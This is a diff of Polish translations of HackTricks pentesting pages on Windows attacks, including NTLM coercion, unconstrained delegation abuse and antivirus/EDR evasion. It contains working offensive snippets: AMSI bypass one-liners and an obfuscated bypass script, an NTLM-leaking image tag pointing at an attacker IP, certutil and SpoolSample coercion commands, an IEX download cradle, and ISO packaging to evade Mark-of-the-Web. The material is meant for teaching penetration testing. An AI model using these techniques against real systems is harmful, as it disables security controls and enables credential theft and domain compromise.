Domyślnie **usługa Exchange działa jako SYSTEM** i ma nadmierne uprawnienia (konkretnie, ma **uprawnienia WriteDacl na domenie przed aktualizacją zbiorczą z 2019 roku**). Ta luka może być wykorzystana do umożliwienia **przekazywania informacji do LDAP i następnie wydobycia bazy danych NTDS domeny**. W przypadkach, gdy przekazywanie do LDAP nie jest możliwe, ta luka może być nadal używana do przekazywania i uwierzytelniania do innych hostów w domenie. Udane wykorzystanie tego ataku zapewnia natychmiastowy dostęp do administratora domeny z dowolnym uwierzytelnionym kontem użytkownika domeny.
## Wewnątrz Windows
@ -86,9 +86,9 @@ Możliwe jest użycie certutil.exe lolbin (podpisany przez Microsoft) do wymusze
```bash
certutil.exe -syncwithWU \\127.0.0.1\share
```
## Wstrzykiwanie HTML
## HTML injection
### Poprzez e-mail
### Via email
Jeśli znasz **adres e-mail** użytkownika, który loguje się na maszynie, którą chcesz skompromitować, możesz po prostu wysłać mu **e-mail z obrazem 1x1** takim jak
```html
@ -98,13 +98,13 @@ i gdy to otworzy, spróbuje się uwierzytelnić.
### MitM
Jeśli możesz przeprowadzić atak MitM na komputer i wstrzyknąć HTML na stronie, którą będzie przeglądał, możesz spróbować wstrzyknąć obrazek taki jak poniższy na stronę:
Jeśli możesz przeprowadzić atak MitM na komputer i wstrzyknąć HTML na stronie, którą będzie przeglądał, możesz spróbować wstrzyknąć obrazek taki jak poniżej na stronie:
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
## Łamanie NTLMv1
Jeśli możesz przechwycić [wyzwania NTLMv1 przeczytaj tutaj jak je złamać](../ntlm/#ntlmv1-attack).\
&#xNAN;_&#x52;emember, że aby złamać NTLMv1 musisz ustawić wyzwanie Respondera na "1122334455667788"_
If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/index.html#ntlmv1-attack).\
&#xNAN;_&#x52;emember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Unconstrained delegation
To jest funkcja, którą Administrator Domeny może ustawić dla dowolnego **Komputera** w obrębie domeny. Następnie, za każdym razem, gdy **użytkownik loguje się** na tym Komputerze, **kopie TGT** tego użytkownika będą **wysyłane w TGS** dostarczanym przez DC **i zapisywane w pamięci w LSASS**. Więc, jeśli masz uprawnienia Administratora na maszynie, będziesz mógł **zrzucić bilety i podszyć się pod użytkowników** na dowolnej maszynie.
To jest funkcja, którą Administrator Domeny może ustawić dla dowolnego **Komputera** w domenie. Następnie, za każdym razem, gdy **użytkownik loguje się** na Komputerze, **kopie TGT** tego użytkownika będą **wysyłane w TGS** dostarczanym przez DC **i zapisywane w pamięci w LSASS**. Więc, jeśli masz uprawnienia Administratora na maszynie, będziesz mógł **zrzucić bilety i podszyć się pod użytkowników** na dowolnej maszynie.
Jeśli więc administrator domeny loguje się na Komputerze z aktywowaną funkcją "Unconstrained Delegation", a ty masz lokalne uprawnienia administratora na tej maszynie, będziesz mógł zrzucić bilet i podszyć się pod Administratora Domeny wszędzie (privesc domeny).
@ -29,14 +29,14 @@ Więcej informacji: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](h
### **Force Authentication**
Jeśli atakujący jest w stanie **skompromentować komputer dozwolony dla "Unconstrained Delegation"**, mógłby **oszukać** **serwer drukarki**, aby **automatycznie się zalogował** do niego **zapisując TGT** w pamięci serwera.\
Jeśli atakujący jest w stanie **skompromitować komputer dozwolony dla "Unconstrained Delegation"**, mógłby **oszukać** **serwer drukarki**, aby **automatycznie się zalogował** do niego **zapisując TGT** w pamięci serwera.\
Następnie atakujący mógłby przeprowadzić **atak Pass the Ticket, aby podszyć się** pod konto komputera serwera drukarki.
Aby sprawić, by serwer drukarki zalogował się na dowolnej maszynie, możesz użyć [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
```bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
```
Jeśli TGT pochodzi z kontrolera domeny, możesz przeprowadzić atak [**DCSync**](acl-persistence-abuse/#dcsync) i uzyskać wszystkie hashe z DC.\
Jeśli TGT pochodzi z kontrolera domeny, możesz przeprowadzić atak [**DCSync**](acl-persistence-abuse/index.html#dcsync) i uzyskać wszystkie hashe z DC.\
[**Więcej informacji na temat tego ataku na ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
**Oto inne sposoby na wymuszenie uwierzytelnienia:**
@ -45,7 +45,7 @@ Jeśli TGT pochodzi z kontrolera domeny, możesz przeprowadzić atak [**DCSync**
printers-spooler-service-abuse.md
{{#endref}}
### Łagodzenie
### Mitigacja
- Ogranicz logowania DA/Admin do określonych usług
- Ustaw "Konto jest wrażliwe i nie może być delegowane" dla uprzywilejowanych kont.

View File

@ -1,4 +1,4 @@
# Bypass antywirusów (AV)
# Antivirus (AV) Bypass
{{#include ../banners/hacktricks-training.md}}
@ -6,11 +6,11 @@
## **Metodologia unikania AV**
Obecnie, AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, takich jak detekcja statyczna, analiza dynamiczna oraz, w przypadku bardziej zaawansowanych EDR, analiza behawioralna.
Obecnie programy AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, takich jak wykrywanie statyczne, analiza dynamiczna oraz, w przypadku bardziej zaawansowanych EDR, analiza behawioralna.
### **Detekcja statyczna**
### **Wykrywanie statyczne**
Detekcja statyczna osiągana jest poprzez oznaczanie znanych złośliwych ciągów lub tablic bajtów w binarnym pliku lub skrypcie, a także przez wydobywanie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że używanie znanych publicznych narzędzi może łatwiej doprowadzić do wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju detekcji:
Wykrywanie statyczne osiąga się poprzez oznaczanie znanych złośliwych ciągów lub tablic bajtów w binarnym pliku lub skrypcie, a także poprzez wydobywanie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że używanie znanych publicznych narzędzi może łatwiej doprowadzić do wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju wykrywania:
- **Szyfrowanie**
@ -25,7 +25,7 @@ Czasami wystarczy zmienić kilka ciągów w swoim pliku binarnym lub skrypcie, a
Jeśli opracujesz własne narzędzia, nie będzie znanych złych sygnatur, ale zajmuje to dużo czasu i wysiłku.
> [!NOTE]
> Dobrym sposobem na sprawdzenie detekcji statycznej Windows Defendera jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie zleca Defenderowi skanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym.
> Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie zleca Defenderowi skanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym.
Zdecydowanie polecam zapoznać się z tą [playlistą na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) na temat praktycznego unikania AV.
@ -33,11 +33,11 @@ Zdecydowanie polecam zapoznać się z tą [playlistą na YouTube](https://www.yo
Analiza dynamiczna to sytuacja, gdy AV uruchamia twój plik binarny w piaskownicy i obserwuje złośliwą aktywność (np. próba odszyfrowania i odczytania haseł przeglądarki, wykonanie minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do obsługi, ale oto kilka rzeczy, które możesz zrobić, aby unikać piaskownic.
- **Sen przed wykonaniem** W zależności od tego, jak to jest zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich okresów snu może zakłócić analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
- **Sen przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie analizy dynamicznej AV. Programy AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich okresów snu może zakłócić analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane.
- **Sprawdzanie zasobów maszyny** Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny w tym zakresie, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
- **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
- **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz celować w użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie.
Okazuje się, że nazwa komputera piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy defendera, więc możesz sprawić, że twój program zakończy działanie.
Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy defendera, więc możesz sprawić, że twój program zakończy działanie.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>źródło: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
@ -52,15 +52,15 @@ Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimi
Prawidłowa odpowiedź to prawdopodobnie ta druga. Biorąc mimikatz jako przykład, prawdopodobnie jest to jeden z, jeśli nie najbardziej oznaczonych kawałków złośliwego oprogramowania przez AV i EDR, podczas gdy sam projekt jest super fajny, jest również koszmarem do pracy z nim, aby obejść AV, więc po prostu szukaj alternatyw dla tego, co próbujesz osiągnąć.
> [!NOTE]
> Podczas modyfikowania swoich ładunków w celu unikania wykrycia, upewnij się, że **wyłączasz automatyczne przesyłanie próbek** w defenderze, i proszę, poważnie, **NIE PRZESYŁAJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
> Podczas modyfikowania swoich ładunków w celu unikania wykrycia, upewnij się, że **wyłączyłeś automatyczne przesyłanie próbek** w defenderze, i proszę, poważnie, **NIE WYSYŁAJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie unikania w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku.
## EXE vs DLL
Kiedy tylko to możliwe, zawsze **priorytetuj używanie DLL do unikania wykrycia**, z mojego doświadczenia wynika, że pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik, aby uniknąć wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób uruchomienia jako DLL, oczywiście).
Kiedy tylko to możliwe, zawsze **priorytetuj używanie DLL do unikania wykrycia**, z mojego doświadczenia pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik, aby uniknąć wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób uruchomienia jako DLL, oczywiście).
Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrycia 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrycia 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>porównanie antiscan.me normalnego ładunku EXE z Havoc a normalnym ładunkiem DLL z Havoc</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>porównanie antiscan.me normalnego ładunku EXE z Havoc vs normalnego ładunku DLL z Havoc</p></figcaption></figure>
Teraz pokażemy kilka trików, które możesz wykorzystać z plikami DLL, aby być znacznie bardziej dyskretnym.
@ -75,9 +75,9 @@ $binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
To polecenie wyświetli listę programów podatnych na hijacking DLL w "C:\Program Files\\" oraz pliki DLL, które próbują załadować.
To polecenie wyświetli listę programów podatnych na DLL hijacking w "C:\Program Files\\" oraz pliki DLL, które próbują załadować.
Zalecam **samodzielne zbadanie programów podatnych na DLL Hijackable/Sideloadable**, ta technika jest dość dyskretna, jeśli jest wykonana poprawnie, ale jeśli użyjesz publicznie znanych programów Sideloadable DLL, możesz łatwo zostać złapany.
Zalecam **samodzielne zbadanie programów podatnych na DLL Hijackable/Sideloadable**, ta technika jest dość dyskretna, jeśli jest wykonana prawidłowo, ale jeśli użyjesz publicznie znanych programów Sideloadable, możesz łatwo zostać złapany.
Samo umieszczenie złośliwego DLL o nazwie, którą program oczekuje załadować, nie załaduje twojego ładunku, ponieważ program oczekuje pewnych specyficznych funkcji w tym DLL. Aby rozwiązać ten problem, użyjemy innej techniki zwanej **DLL Proxying/Forwarding**.
@ -105,13 +105,13 @@ Zarówno nasz shellcode (zakodowany za pomocą [SGN](https://github.com/EgeBalci
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> **Zalecam** obejrzenie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz [wideo ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.
> **Zdecydowanie polecam** obejrzenie [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz [wideo ippsec'a](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze to zestaw narzędzi do payloadów do omijania EDR-ów za pomocą wstrzymanych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania`
`Freeze to zestaw narzędzi do payloadów do omijania EDR-ów przy użyciu wstrzymanych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania`
Możesz użyć Freeze do załadowania i wykonania swojego shellcode w sposób dyskretny.
Możesz użyć Freeze, aby załadować i wykonać swój shellcode w sposób ukryty.
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -123,9 +123,9 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
> [!NOTE]
> Unikanie to tylko gra w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć wiele technik unikania.
## AMSI (Interfejs Skanowania Antywirusowego)
## AMSI (Interfejs skanowania antywirusowego)
AMSI został stworzony, aby zapobiegać "[złośliwemu oprogramowaniu bezplikowemu](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo, programy antywirusowe mogły skanować tylko **pliki na dysku**, więc jeśli udało ci się jakoś wykonać ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności.
AMSI został stworzony, aby zapobiegać "[złośliwemu oprogramowaniu bezplikowemu](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo programy antywirusowe mogły skanować tylko **pliki na dysku**, więc jeśli udało ci się w jakiś sposób wykonać ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności.
Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
@ -135,15 +135,15 @@ Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows.
- JavaScript i VBScript
- Makra VBA w Office
Pozwala to rozwiązaniom antywirusowym na inspekcję zachowania skryptów poprzez ujawnienie zawartości skryptu w formie, która jest zarówno niezaszyfrowana, jak i nieukryta.
Umożliwia to rozwiązaniom antywirusowym inspekcję zachowania skryptów poprzez ujawnienie zawartości skryptu w formie, która jest zarówno niezaszyfrowana, jak i nieukryta.
Uruchomienie `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` spowoduje wyświetlenie następującego alertu w Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Zauważ, jak dodaje `amsi:` przed ścieżką do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku, powershell.exe
Zauważ, jak dodaje `amsi:` przed ścieżką do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku powershell.exe.
Nie zapisaliśmy żadnego pliku na dysku, ale mimo to zostaliśmy złapani w pamięci z powodu AMSI.
Nie zapisaliśmy żadnego pliku na dysku, ale nadal zostaliśmy złapani w pamięci z powodu AMSI.
Istnieje kilka sposobów na obejście AMSI:
@ -151,15 +151,15 @@ Istnieje kilka sposobów na obejście AMSI:
Ponieważ AMSI głównie działa na podstawie wykryć statycznych, modyfikacja skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.
Jednak AMSI ma zdolność do deobfuskacji skryptów, nawet jeśli mają one wiele warstw, więc obfuskacja może być złym rozwiązaniem w zależności od tego, jak jest przeprowadzona. To sprawia, że nie jest to proste do ominięcia. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będziesz w porządku, więc to zależy od tego, jak bardzo coś zostało oznaczone.
Jednak AMSI ma zdolność do deobfuskacji skryptów, nawet jeśli mają one wiele warstw, więc obfuskacja może być złym rozwiązaniem w zależności od tego, jak jest przeprowadzona. To sprawia, że nie jest to proste do ominięcia. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będzie dobrze, więc to zależy od tego, jak bardzo coś zostało oznaczone.
- **Obejście AMSI**
Ponieważ AMSI jest implementowane przez załadowanie DLL do procesu powershell (także cscript.exe, wscript.exe itd.), możliwe jest łatwe manipulowanie nim, nawet działając jako użytkownik bez uprawnień. Z powodu tej luki w implementacji AMSI, badacze znaleźli wiele sposobów na ominięcie skanowania AMSI.
Ponieważ AMSI jest implementowane przez załadowanie DLL do procesu powershell (również cscript.exe, wscript.exe itd.), możliwe jest łatwe manipulowanie nim, nawet działając jako użytkownik bez uprawnień. Z powodu tej luki w implementacji AMSI, badacze znaleźli wiele sposobów na ominięcie skanowania AMSI.
**Wymuszenie błędu**
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że żadne skanowanie nie zostanie zainicjowane dla bieżącego procesu. Początkowo ujawnione przez [Matta Graebera](https://twitter.com/mattifestation), a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że nie zostanie zainicjowane żadne skanowanie dla bieżącego procesu. Początkowo ujawnione przez [Matta Graebera](https://twitter.com/mattifestation), a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
@ -179,7 +179,7 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Pamiętaj, że to prawdopodobnie zostanie oznaczone, gdy ten post się pojawi, więc nie powinieneś publikować żadnego kodu, jeśli twoim planem jest pozostanie niezauważonym.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
**Memory Patching**
@ -188,23 +188,23 @@ Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com
> [!NOTE]
> Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) w celu uzyskania bardziej szczegółowego wyjaśnienia.
Istnieje również wiele innych technik używanych do obejścia AMSI za pomocą PowerShell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/#amsi-bypass) oraz [ten repozytorium](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ich temat.
Istnieje również wiele innych technik używanych do obejścia AMSI za pomocą powershell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/index.html#amsi-bypass) oraz [ten repozytorium](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ich temat.
Lub ten skrypt, który za pomocą memory patching będzie patchował każdy nowy Powersh
Lub ten skrypt, który za pomocą patchowania pamięci będzie patchował każdy nowy Powersh
## Obfuscation
Istnieje kilka narzędzi, które można wykorzystać do **obfuskacji kodu C# w czystym tekście**, generowania **szablonów metaprogramowania** do kompilacji binarnych lub **obfuskacji skompilowanych binarnych**, takich jak:
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: obfuscator C#**
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: obfuskator C#**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie otwartoźródłowego forka zestawu kompilacji [LLVM](http://www.llvm.org/), który ma na celu zwiększenie bezpieczeństwa oprogramowania poprzez [obfuskację kodu](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i zabezpieczanie przed manipulacjami.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, obfuskowanego kodu bez użycia jakiegokolwiek zewnętrznego narzędzia i bez modyfikowania kompilatora.
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania C++, co utrudni życie osobie, która chce złamać aplikację.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuscator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorfnego dla dowolnych plików wykonywalnych.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, obfuskowanego kodu bez użycia jakiegokolwiek zewnętrznego narzędzia i bez modyfikacji kompilatora.
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania C++, co utrudni życie osobie chcącej złamać aplikację.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to framework obfuskacji kodu o wysokiej precyzji dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to .NET PE Crypter napisany w Nim.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekształcić istniejące EXE/DLL w shellcode, a następnie je załadować.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to .NET PE Crypter napisany w Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekształcić istniejące EXE/DLL w shellcode, a następnie je załadować
## SmartScreen & MoTW
@ -214,20 +214,20 @@ Microsoft Defender SmartScreen to mechanizm zabezpieczeń mający na celu ochron
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje uruchomią SmartScreen, alertując i uniemożliwiając użytkownikowi końcowemu uruchomienie pliku (chociaż plik nadal można uruchomić, klikając Więcej informacji -> Uruchom mimo to).
SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co oznacza, że rzadko pobierane aplikacje wywołają SmartScreen, co ostrzega i uniemożliwia użytkownikowi końcowemu uruchomienie pliku (choć plik można nadal uruchomić, klikając Więcej informacji -> Uruchom mimo to).
**MoTW** (Mark of The Web) to [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) o nazwie Zone.Identifier, który jest automatycznie tworzony po pobraniu plików z internetu, wraz z adresem URL, z którego został pobrany.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Sprawdzanie Zone.Identifier ADS dla pliku pobranego z internetu.</p></figcaption></figure>
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Sprawdzanie ADS Zone.Identifier dla pliku pobranego z internetu.</p></figcaption></figure>
> [!NOTE]
> Ważne jest, aby zauważyć, że pliki wykonywalne podpisane **zaufanym** certyfikatem podpisu **nie uruchomią SmartScreen**.
> Ważne jest, aby zauważyć, że pliki wykonywalne podpisane **zaufanym** certyfikatem podpisu **nie wywołają SmartScreen**.
Bardzo skutecznym sposobem na zapobieżenie oznaczeniu twoich payloadów Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **wolumenów non NTFS**.
Bardzo skutecznym sposobem na zapobieganie oznaczeniu twoich ładunków jako Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **woluminów nie NTFS**.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje payloady do kontenerów wyjściowych, aby uniknąć Mark-of-the-Web.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje ładunki do kontenerów wyjściowych, aby uniknąć Mark-of-the-Web.
Przykład użycia:
```powershell
@ -259,19 +259,19 @@ Oto demonstracja omijania SmartScreen poprzez pakowanie ładunków w plikach ISO
Ładowanie binarnych plików C# w pamięci jest znane od dłuższego czasu i wciąż jest to bardzo dobry sposób na uruchamianie narzędzi post-exploitation bez wykrycia przez AV.
Ponieważ ładunek zostanie załadowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli martwić się tylko o patchowanie AMSI przez cały proces.
Ponieważ ładunek będzie ładowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli martwić się tylko o patchowanie AMSI przez cały proces.
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc itp.) już oferuje możliwość wykonywania zestawów C# bezpośrednio w pamięci, ale istnieją różne sposoby, aby to zrobić:
- **Fork\&Run**
Polega to na **tworzeniu nowego procesy ofiarnego**, wstrzyknięciu złośliwego kodu post-exploitation do tego nowego procesu, wykonaniu złośliwego kodu, a po zakończeniu, zabiciu nowego procesu. Ma to zarówno swoje zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym procesem implantacji Beacon. Oznacza to, że jeśli coś w naszej akcji post-exploitation pójdzie źle lub zostanie wykryte, istnieje **dużo większa szansa** na **przetrwanie naszego implantatu.** Wadą jest to, że masz **większą szansę** na bycie złapanym przez **Wykrycia Behawioralne**.
Polega to na **tworzeniu nowego procesy ofiarnego**, wstrzykiwaniu złośliwego kodu post-exploitation do tego nowego procesu, wykonywaniu złośliwego kodu, a po zakończeniu, zabiciu nowego procesu. Ma to zarówno swoje zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym procesem implantacji Beacon. Oznacza to, że jeśli coś w naszej akcji post-exploitation pójdzie źle lub zostanie wykryte, istnieje **dużo większa szansa** na **przetrwanie naszego implantatu.** Wadą jest to, że masz **większą szansę** na bycie złapanym przez **Wykrycia Behawioralne**.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utratę twojego beacona**, ponieważ może on się zawiesić.
Chodzi o wstrzykiwanie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utratę twojego beacona**, ponieważ może on się zawiesić.
